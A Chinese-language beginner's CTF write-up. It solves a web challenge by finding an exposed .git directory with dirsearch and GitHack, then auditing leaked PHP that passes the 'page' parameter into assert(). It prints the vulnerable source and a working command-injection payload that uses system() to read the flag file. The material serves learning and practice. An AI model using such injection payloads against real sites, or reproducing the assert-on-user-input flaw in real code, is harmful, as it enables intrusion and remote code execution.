最近自学了1个月的CTFweb题,参加比赛一道题都没做出来,有点自闭,但还是告诉自己要慢慢来,有意向打CTF的同学可以私信,一起学习。
---------------------------------------------------------------------------------------------------------------------------------
这道题光安装软件就走了很多弯路,几乎是花了一天的时间去学习,解答。所以尽可能的一篇文章让像我一样的小白了解详细方法和思路,而不是单单粗暴的解题。
目录
题目
解题过程
- 工具 (单击查看下载教程)
dirsearch (目录扫描工具)
Githack (必须要在python2.8环境下运行,如果像我一样,kail中python版本为2.7 和3的,
请点击(python3版本 Githack下载)
所需知识点
Githack源码泄露(没接触的点击查看详解):使用git在初始化代码库的时候,会在当前目录下产生一个.git的隐藏目录,用来记录代码的变更等。同时使用这个文件可以恢复各个版本的代码,所以如果.git文件可以访问,就可能泄露了源代码。
php命令执行(没接触的点击查看详解):应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。
思路
1.首先肯定是F12查看源码,没思路
2.按照惯例,能点的全点一遍
获取了什么信息呢?把英文简单翻译一下就是,自己做这个网站,用了Git(版本控制系统)php(后端) bootstrap(前端框架)。
这里考察的是Git源码泄露。(如果像我一样的小白肯定想不到拉,原来都不知道有这个名称,不过没关系,当作知识的积累。)
以下在kail虚拟机操作
进入dirsearch文件目录,打开终端,输出一下命令查看网站目录
python3 dirsearch.py -u http://111.200.241.244:63981/ -e*~
可以看到网站目录下有Git文件。
进入Githack-master文件目录,打开终端输入以下命令获取源码
python3 GitHack.py http://111.200.241.244:63981/.git/
下载的源码在Githack文件里面,文件名为111.200.241.244:63981 (你的url)
进入templates
想当然的点击flag.php
没有什么信息,剩下的都来点一下,发现有用的只有index.php
flag.php 这里存在一个问题,后面会说到。
这里把源码放上来
blob 2199 <?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
这里的php代码为:
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
(刚学php的小白表示来简单的学习下这些函数)
isset()检测变量是否已声明,
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串 的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的 参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
(关于php命令执行后期会出一个学习心得,最近有点卡在这了)
过程
再重新回到源码,
先是以get请求获得page值,如果没有则返回。
之后再把page值添加,构造文件路径名
然后用strpos函数检查文件路径名是否有".." 如果没有的话 返回false
这里肯定要让它false 之后false==false才能执行下一步assert("file_exists('$file')")
assert("file_exists('$file')") 在这里构造payload
$file=111') or system("cat templates/flag.php");
最终payload为 ?page=111') or system("cat templates/flag.php");//
之后按一定要按F12查看源码看flag
!!!!!这就走了吗???!!!!!!!!
别忘了之前我们还有一个问题,就是我们下载源码后,为什么查看flag.php没有显示什么东西呢?
而我们用命令执行查看的也是服务器上的flag.php文件呢,2者不是一样的么?
其实Git源码泄露是因为一些程序员的疏忽,为了方便把Git源码上传到服务器,使用后却没有删除,这道题目我们用Githack获取的flag.php源码是被出题人修改的,与我们实际命令执行进入的真正的flag.php不同。
总结
这道题考察了Git源码泄露,php代码审计,命令执行。我认真学习各路大神的write up ,最后梳理了自己的学习,解题的思路。 再把自己要用到的知识点 一 一叙述,作为小白,这道题花费了我几乎2天的时间学习,解题,发文章。到现在其实我感觉多么快获得这道题的答案并不重要,重要的是从中能学习到多少东西。
最后 有一起打CTF的可以私信,一起学习。
作者水平有限,有任何不当之处欢迎指正。
本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!